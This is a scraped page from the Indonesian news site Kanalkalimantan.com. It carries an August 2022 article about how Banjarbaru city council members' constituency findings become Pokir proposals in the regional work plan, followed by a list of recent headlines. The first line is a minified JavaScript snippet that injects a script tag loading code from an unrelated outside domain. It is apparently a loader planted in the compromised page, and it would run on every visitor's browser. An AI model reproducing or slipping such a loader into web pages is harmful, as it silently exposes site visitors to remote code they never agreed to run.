(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Pokir Anggota Dewan Masuk RKPD


KANALKALIMANTAN.COM, BANJARBARU – Wakil Ketua DPRD Kota Banjarbaru Napsiani Samandi mengatakan hasil reses anggota dewan menjadi pokok pikiran (Pokir) yang masuk dalam Rencana Kerja Pemerintah Daerah (RKPD).

“Setiap anggota dewan melakukan reses menyerap aspirasi masyarakat di daerah pemilihan. Hasil akhirnya yang akan menjadi Pokir dan dimasukan dalam RKPD,” ujarnya di Banjarbaru, Kamis (18/8/2022).

Salah satu mekanisme yang digunakan DPRD Banjarbaru untuk menyusun pokok pikiran yakni melalui reses setiap anggota dewan melalui kunjungan yang dilakukan di daerah pemilihan.

Menurut Napsiani, kegiatan menjaring aspirasi warga di Dapil dilengkapi laporan reses yang di dalamnya tertuang usulan Pokir yang disampaikan pada rapat paripurna DPRD.

 

 

Baca juga: Belum Ada Kesepakatan, Organda Banjarbaru Larang BRT Beroperasi di Koridor 2

“Sesuai Permendagri 86 tahun 2017 pasal 178 nomor 2 menyebutkan Pokir DPRD, diselaraskan dengan sasaran dan prioritas pembangunan, serta ketersediaan kapasitas riil anggaran,” ungkapnya.

Hasil reses yang jadi Pokir DPRD diwujudkan dalam bentuk program dan kegiatan yang dimasukkan ke dalam APBD kemudian dilaksanakan SKPD.

Tidak semua aspirasi atau keinginan masyarakat dapat direalisasikan karena hasil reses disampaikan kepada Pemko yang menyinergikan dengan hasil rapat Musrenbang.

“Musrenbang juga berjenjang mulai dari tingkat kelurahan, kecamatan hingga tingkat kota yang disesuaikan dengan visi misi kepala daerah hingga masuk dalam RKPD,” ungkapnya.

Pencapaian target kinerja pada setiap program dan kegiatan merupakan tanggung jawab SKPD bersangkutan yang ditetapkan kepala daerah dalam dokumen rencana tahunan.

“Artinya, pokir DPRD tercantum dalam peraturan kepala daerah tentang RKPD, sehingga pencapaian target merupakan tanggung jawab OPD atau SKPD sebagai bagian dari eksekutif atau pemerintah,” katanya.

Baca juga: Jumpa PMR Kalsel Terbuka, Diikuti 600 Peserta Wira dan Madya Kalsel-Teng 

Pokir sering dipahami keliru karena tidak membaca aturan dan kurangnya informasi terkait peran dan fungsi anggota dewan dalam pengalokasian sumber daya pada anggaran belanja dalam APBD. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Risa

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

13 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

14 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

14 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

18 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

20 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

20 jam ago

This website uses cookies.